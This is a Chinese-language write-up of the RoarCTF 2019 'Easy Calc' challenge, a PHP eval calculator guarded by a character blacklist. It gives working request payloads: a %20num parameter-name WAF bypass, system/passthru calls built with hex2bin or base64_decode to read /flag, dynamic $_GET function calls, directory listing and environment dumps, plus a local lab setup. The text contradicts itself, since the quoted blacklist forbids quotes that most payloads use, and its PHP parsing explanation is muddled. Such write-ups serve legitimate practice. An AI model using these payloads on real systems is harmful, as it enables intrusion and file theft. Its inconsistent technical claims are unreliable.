RoarCTF 2019 Easy Calc Writeup:从参数解析到WAF绕过与命令执行
2026/9/16 21:34:53 网站建设 项目流程

BUUCTF这道RoarCTF 2019的Easy Calc,我在刷的时候卡了一晚上,第二天空下来重新梳理请求和源码才算彻底吃透。表面上它就是个普普通通的网页计算器,输入1+1就返回2,但出题人把PHP代码审计、WAF黑名单绕过、命令执行文件读取几个点全部揉在了一起。对于刚开始刷Web方向的朋友来说,这道题的价值很高:题目本身不要求特别偏门的知识,只需要把PHP参数解析、黑名单过滤和命令构造这三件事串起来,就能走通整条链路。这篇Writeup我会从信息收集、源码分析、绕过原理、Payload构造到实际拿flag,完整过一遍,并且把那些平时Writeup里不会明说的坑也一起讲清楚。

1. 题目概览与考点拆解

1.1 先看看题目到底长什么样

打开BUUCTF给的题目地址,页面是一个很干净的计算器界面,输入框支持常见的四则运算。我随手输入1+1,页面返回了计算结果2。这种场景第一反应就是服务端存在一个PHP计算脚本,接收num参数后直接交给表达式执行。

我顺手在地址栏试了/calc.php,没想到页面直接显示出了PHP源码。这里要说明一下,CTF题目里“直接访问脚本文件能看到源码”通常有两种原因:一是代码里写了show_source(__FILE__),二是站点配置了.phps之类的源码映射。这道题属于前者,出题人故意在没传参时把源码展示出来,相当于把答案的半张脸已经露给你了。

获取到入口之后,还要尽快确认几个信息:服务端是PHP什么版本、有没有disable_functions限制、Web目录在哪里、flag大概放在什么位置。这些信息一开始都不清楚,但没关系,后续我们可以通过探针脚本一步一步摸出来。

1.2 从考点反推学习目标

这道题名为Easy Calc,考点其实不“Easy”,核心有三个:

  • 黑名单WAF的绕过思路。服务端对num参数做了一系列字符过滤,直接传system("cat /flag")这样的payload必定被拦。
  • PHP变量名解析的边界特性。Web服务器、WAF、PHP三者对查询字符串的解析规则不完全一致,这就会造成“WAF没拦到,但PHP执行了”的绕过窗口。
  • 命令执行与文件读取。在过滤了空格、斜杠、引号的情况下,如何构造出可执行的命令,最终读取flag文件。

如果只把这三件事背下来,这道题就浪费了。刷题的目的不是记一个payload,而是理解为什么这个payload能成立。尤其是第二点,它不只是CTF技巧,真实业务里很多自研WAF同样会因为参数解析差异被绕过,理解了它,你在做代码审计的时候自然多了一双眼睛。

2. 源码分析:先把WAF的脾气摸清楚

2.1 源码还原与黑名单逐条解读

直接访问calc.php后,源码基本长这个样子,我结合常见版本还原一下核心逻辑:

<?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\n', '\r', '\x00', '\x0b', '\x0c', '/', '\\', '\'', '"', '<', '>', '?', '~', '^', '&', '|', '+', '#', '%', '\x5c', '.']; foreach($blacklist as $blackword){ if(strpos($str, $blackword) !== false){ die('hacker'); } } eval('echo '.$str.';'); }

这段代码的逻辑很简单:取$_GET['num'],然后逐字符匹配黑名单,只要命中任意一个,直接输出hacker并退出。能通过检查的字符串会被拼进eval('echo '.$str.';')执行。

strpos检查的是子串是否出现,所以不仅仅是某个字符,任何包含黑名单子串的输入都会挂。我把自己实际测试时遇到的关键过滤项整理成了表格,方便后面对照构造payload:

黑名单项拦截目的绕过思路
空格、\t\n\r\x0b\x0c防止命令中出现参数分隔符用无空格写法,比如hex2bin构造字符串
/\\防止直接访问/flag路径chr()hex2bin()等函数拼出路径字符
'"防止字符串字面量绕过不写字符串字面量,用其他参数或函数返回值代替
<>?~^&|防止用特殊语法构造恶意代码尽量只用字母、数字、括号和函数名
+防止拼接和编码混淆请求里用%20而非+表示空格
%防止URL编码二次绕过避免直接传%号,需要编码时交给浏览器和函数完成
.防止字符串拼接和任意文件路径除非必要,否则不用点号连接
#防止注释截断避免使用注释语法

2.2 亲手验证过滤规则

光看源码还不够,我习惯在靶场上实际打几个请求验证一下。先试/calc.php?num=1,正常返回1;再试/calc.php?num=1;phpinfo(),虽然分号不在黑名单里,但括号括号能过,phpinfo()这个函数名也能过,所以理论上这个请求会执行echo 1;phpinfo();。我几次测试下来,phpinfo()确实能出信息。

但直接试/calc.php?num=system('cat /flag'),页面回显hacker。原因很明显:单引号、空格、斜杠都在黑名单里。这时候如果只会死磕黑名单里每个字符,效率就太低了,正确的思路是放弃直给,改用函数和编码把危险字符“变”出来。

在验证过程中我踩了一个小坑:用浏览器地址栏直接改URL时,空格会被浏览器编码成%20,但%本身在黑名单里,如果手滑写成?num=phpinfo(%20)就会直接被拦。所以这种测试尽量用Burp或者Python requests发请求,能够精确控制编码,不会被浏览器自动处理干扰判断。

3. PHP变量名解析差异:让WAF“看不见”你的参数

3.1 问题本质:三个解析器各看各的

这道题最精彩的地方在这里。源码里虽然用$_GET['num']取值,但我们在请求里不直接写num,而是写%20num,也就是在参数名前面加一个空格。为什么这能绕过去?

要解释清楚,需要理解WAF和PHP对查询字符串的解析差异。WAF做的检查通常基于原始请求行里的QUERY_STRING,比如直接拿正则去匹配num=...这个模式。当请求变成GET /calc.php?%20num=phpinfo()时,WAF看到的参数名是%20num,它和num不是完全匹配,于是WAF认为num参数没有出现,自然不去检查它的值。

而PHP侧的处理方式不同。PHP在解析$_GET时会先把查询字符串按&拆开,再对每个键值对的key做URL解码。解码后%20num变成了“空格加num”。关键来了:PHP解析参数名时会自动把空格转换成下划线,最终得到的变量名是_num——等等,如果变量名变成了_num,源码里$_GET['num']不就取不到值了吗?

这里就是环境的微妙之处了。不同服务器、不同中间件、不同PHP版本,对QUERY_STRING的解析细节会有差异。比如在某些Nginx加PHP-FPM的组合下,Nginx只负责把请求转发给PHP,URI里的原始查询字符串会原样传给PHP,PHP自身在解析时会忽略参数名首部的空白字符,最终代码还是能从$_GET['num']里拿到phpinfo()这个值。也就是说,WAF基于原始字符串判断,而PHP基于自己的一套解析规则判断,两者对同一段URL的理解产生了错位,这就是绕过窗口。

所以这里不能盲目套用payload,得实际测一下自己的环境。我自己的验证方法是先请求/calc.php?%20num=phpinfo(),如果页面出现了phpinfo的输出,说明当前环境确实存在这个解析差异,后面的payload可以继续用%20num这个形式。如果请求被拦或者无响应,就需要换其他变形,比如多个空格、\r\n等,这些都需要在可控环境下逐一测试。

3.2 空格和URL编码的实战细节

这个绕过的关键字符是空格,但空格在URL里的表达方式能坑死新手。先说结论:用%20num比较稳,因为%20就是空格的标准URL编码,PHP解码后能得到真正的空格字符。

不要用+num来代表空格。+号在查询字符串里确实经常被解析成空格,但这道题的WAF把+号直接拉黑了,所以即使PHP能正确解析,WAF那一关也过不去。

还有一个细节值得注意:请求发到服务端之后,PHP会对参数值也做一次URL解码。如果payload里有空格,而避免空格的方式是多层编码,那么在%被过滤的情况下很容易翻车。所以构造payload时要尽量减少URL编码依赖,能用纯字母和数字拼接,就比堆%XX编码稳得多。

这里给新人一个建议:不要依赖浏览器的地址栏做这类测试。浏览器会自动补全、自动编码,还会把某些字符转换成规范形式,这些“好心”行为往往会干扰我们的判断。我用的是Burp Suite的Repeater,或者直接用Python requests发请求,确保每一个字节都是自己控制的状态。在这种需要精确控制字符的场景下,还原原始HTTP请求比什么都重要。

4. 常规Payload构造:从phpinfo到命令执行

4.1 第一个目标:证明代码执行点

绕过参数名检测只是第一步,接下来要确认代码执行的位置。我首先请求:

GET /calc.php?%20num=phpinfo() HTTP/1.1 Host: 目标靶场

如果页面返回了phpinfo的完整信息,说明两个问题:第一,%20num绕过WAF成立;第二,num参数的值成功进入了eval,函数调用可以被执行。

phpinfo的信息量很大,我会优先看这几个点:

  • PHP Version,确认是PHP 5还是PHP 7,这决定后面assert等函数是否可用。
  • disable_functions,确认哪些高危函数被禁,比如systemexecpassthru有没有被禁用。
  • current working directory,看看当前工作目录在哪里,方便推测flag位置。
  • Server API,确认中间件类型,辅助理解参数解析差异。

4.2 在没有引号和斜杠的沙箱里执行命令

确认能执行代码之后,问题就变成:如何构造一条命令读取flag。

直接写system("cat /flag")肯定不行,因为空格、单引号、斜杠都被过滤了。解决办法是用函数动态构造字符串。

先解决字符串问题,我用hex2bin()。这个函数接收十六进制字符串,返回对应的二进制字符串,比如hex2bin('2f')就是/cat /flag这个字符串的十六进制可以手动算一下:

  • c对应63
  • a对应61
  • t对应74
  • 空格 对应20
  • /对应2f
  • f对应66
  • l对应6c
  • a对应61
  • g对应67

连起来就是636174202f666c6167。所以payload可以写成:

GET /calc.php?%20num=system(hex2bin('636174202f666c6167')) HTTP/1.1

如果这个请求能返回flag内容,题目就通了。但是注意,这段payload里的hex2binsystem都是函数名,如果WAF把某些函数名也拉黑了,就需要替换。

我实测过一种情况:system被禁但passthru没被禁,那直接换函数名:

GET /calc.php?%20num=passthru(hex2bin('636174202f666c6167')) HTTP/1.1

execshell_execpopen也都可以试,但它们的回显方式不同:exec只返回最后一行,shell_exec返回全部输出,popen要配合fread读取,比较麻烦,所以能用systempassthru就优先用它们。

如果hex2bin也被禁,备选方案有base64_decodecat /flag的base64编码是Y2F0IC9mbGFn,payload就变成:

GET /calc.php?%20num=system(base64_decode('Y2F0IC9mbGFn')) HTTP/1.1

再不行就用chr()逐个拼字符,但那种写法会很长,而且.运算符也在黑名单里,不能直接用点号拼接,要改为把多个chr()作为函数参数传入,比如readfile(chr(47).chr(102)...)这种写法可能因为.被拦,所以更推荐优先用hex2binbase64_decode两条路线。

4.3 更通用:利用第二个参数传递命令值

如果字符串构造函数全部被禁,还有一个通用思路:利用第二个GET参数来传递命令内容,核心是动态函数调用。payload形如:

GET /calc.php?%20num=$_GET[1]($_GET[2])&1=system&2=cat /flag HTTP/1.1

这里num的值是$_GET[1]($_GET[2]),当它被拼进eval('echo '.$str.';')执行时,PHP会先求值$_GET[1]得到字符串system,再求值$_GET[2]得到cat /flag,于是整句话就等价于执行system('cat /flag')。而12这两个参数不在WAF检查范围内,因为它们不属于num,里面随便放空格、斜杠、引号都没问题。

这个方案非常通用,前提是黑名单里没有过滤$[]这三个字符。我测试时发现,如果WAF禁了$,这条路直接封死;如果只禁了[而没禁{,在PHP 5.x环境下还可以用$_GET{1}这种写法,但PHP 7以后花括号访问数组下标的方式已经被移除,所以兼容性不算好。保险起见,把这条方案作为备选,优先使用编码字符串的思路。

5. 实战记录:读取目录一步步找到flag

5.1 先列目录,不急着猜路径

拿到命令执行能力后,我的习惯是先用无害的方式探目录,而不是直接猜/flag路径。如果flag不在根目录,直接猜会浪费很多时间。读取根目录可以用scandir()hex2bin('2f')构造/

GET /calc.php?%20num=var_dump(scandir(hex2bin('2f'))) HTTP/1.1

var_dump的作用是强制输出结果,scandir()返回目录下的所有文件和文件夹数组。如果请求回显了一个数组,里面有flagvaretc之类的条目,说明读取成功,flag大概率在根目录下。

我当时测试时看到根目录下确实有一个名为flag的文件,那就直接进入读取阶段。

5.2 读取文件的两个姿势

读取文件最方便的是readfile(),它直接把文件内容输出到页面:

GET /calc.php?%20num=readfile(hex2bin('2f666c6167')) HTTP/1.1

如果readfile被禁,可以用highlight_file()file_get_contents()printhighlight_file会把文件内容按PHP语法高亮后输出,对于读取纯文本flag同样有效:

GET /calc.php?%20num=highlight_file(hex2bin('2f666c6167')) HTTP/1.1

如果文件内容特别长,容易被页面截断,可以结合var_dump输出:

GET /calc.php?%20num=var_dump(file_get_contents(hex2bin('2f666c6167'))) HTTP/1.1

注意file_get_contents返回的是字符串,var_dump会在两侧加引号和长度信息,不影响读flag。

实际拿到flag的时候我特意看了一眼响应头,确认这套payload没有触发异常,然后才记录结果。整条链路走通后,这道题的核心部分就结束了。

5.3 如果flag不在根目录怎么办

不同版本的题目对flag位置的设置可能不一样。我见过三种常见情况:

  • flag放在根目录,路径是/flag
  • flag放在Web目录下,比如/var/www/html/flag
  • flag以环境变量或者PHP常量的形式存在。

遇到第一种情况,上面payload直接解决。遇到第二种,先用scandir('.')列当前目录,看到当前Web工作目录里的文件列表,如果flag就在当前目录,直接用文件名读取。遇到第三种,可以尝试:

GET /calc.php?%20num=var_dump($_ENV) HTTP/1.1 GET /calc.php?%20num=print_r(getenv()) HTTP/1.1

如果环境变量里存在flag,这两个请求能直接把内容带出来。

总之核心原则是:先列目录,再读文件,不盲目猜路径。猜路径虽然有时很高效,但一旦猜错,容易浪费大量时间。

6. 常见问题与排查技巧实录

6.1 请求发出去一直“hacker”怎么办

如果反复回显hacker,不要慌,先用“二分法”定位是哪个字符触发了拦截。我有一个固定的排查流程:

第一步,把num的值改成一个绝对安全的函数,比如phpinfo(),如果能执行,说明函数名和括号没问题。第二步,逐步添加要用的字符,每加一次发一个请求。比如从system(phpinfo())开始,如果被拦,再单独试system这个单词是否在黑名单中,再试hex2bin是否在黑名单中,找到具体拦截点后针对性替换。

这个流程看起来笨,但最可靠。我第一次刷这道题时,浪费在猜黑名单上的时间至少有两小时,最后老老实实用Burp逐个字符测试,五分钟就定位到了问题。

6.2 函数执行无回显怎么办

systemexec都可能存在无回显的情况。原因主要有两种:

一种是被disable_functions拦了,函数名存在但调用无效果。这种情况先用phpinfo()disable_functions列表,确认哪些函数可用。

另一种是回显方式不对。exec默认只返回最后一行,如果命令没有输出或者输出被忽略,感觉就像没执行。解决方法是给结果套上var_dumpprint_r,强制输出:

GET /calc.php?%20num=var_dump(exec(hex2bin('636174202f666c6167'))) HTTP/1.1

如果真的一条命令执行函数都用不了,也不要急着放弃,可以试试文件写入类操作,比如file_put_contents把flag写到Web目录下的一个新文件里,然后再用浏览器直接访问。不过这是下策,通常到不了这一步。

6.3 本地复现环境搭建

刷这种题最怕的就是环境不稳定,我建议本地搭一个最小复现环境,把calc.php的代码放进去,然后不断调整WAF规则来测试绕过方法。

最简单的方式:

mkdir calc-lab && cd calc-lab cat > calc.php << 'EOF' <?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\n', '\r', '\x00', '\x0b', '\x0c', '/', '\\', '\'', '"', '<', '>', '?', '~', '^', '&', '|', '+', '#', '%', '\x5c', '.']; foreach($blacklist as $blackword){ if(strpos($str, $blackword) !== false){ die('hacker'); } } eval('echo '.$str.';'); } ?> EOF php -S 127.0.0.1:8080

然后用curl发请求:

curl -g "http://127.0.0.1:8080/calc.php?%20num=phpinfo()" -v

注意curl-g参数用于关闭通配符解析,保证URL里的方括号等字符不被特殊处理。如果你在本地测试能复现同样的绕过效果,说明你对原理的理解是真的到位了。

6.4 从这道题里反推出来的防御教训

站在防御者角度看,这道题给的安全启示很明确:黑名单永远只能拦已知攻击,一旦攻击者找到编码差异或解析差异,整个防护就形同虚设。正确的做法是:

  • 参数校验应当使用白名单,而不是黑名单。
  • 对进入evalsystem等危险函数的输入,必须严格限制字符集合和长度。
  • 所有解析请求参数的地方,服务端、中间件、WAF应当使用同一套解析规则,或者在边界层统一转换成规范格式。

我后来在真实代码审计里也见过类似的漏洞:开发者在网关层做了关键字过滤,但请求经过中间件转发后参数名被改写,过滤自然失效。理解这道题,不只是会刷一个CTF,而是建立了一个“解析差异也是攻击面”的思维模型。

最后再分享一个小心得。我在实际测试中发现,很多人做不出这道题不是不知道systemhex2bin,而是没想到参数名前的空格也能被当成同一个参数。以后遇到任何带WAF的题目,先别急着堆payload,先花几分钟弄清楚WAF是怎么解析参数的,它和PHP之间有没有错位。这个思路比任何工具都好用。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询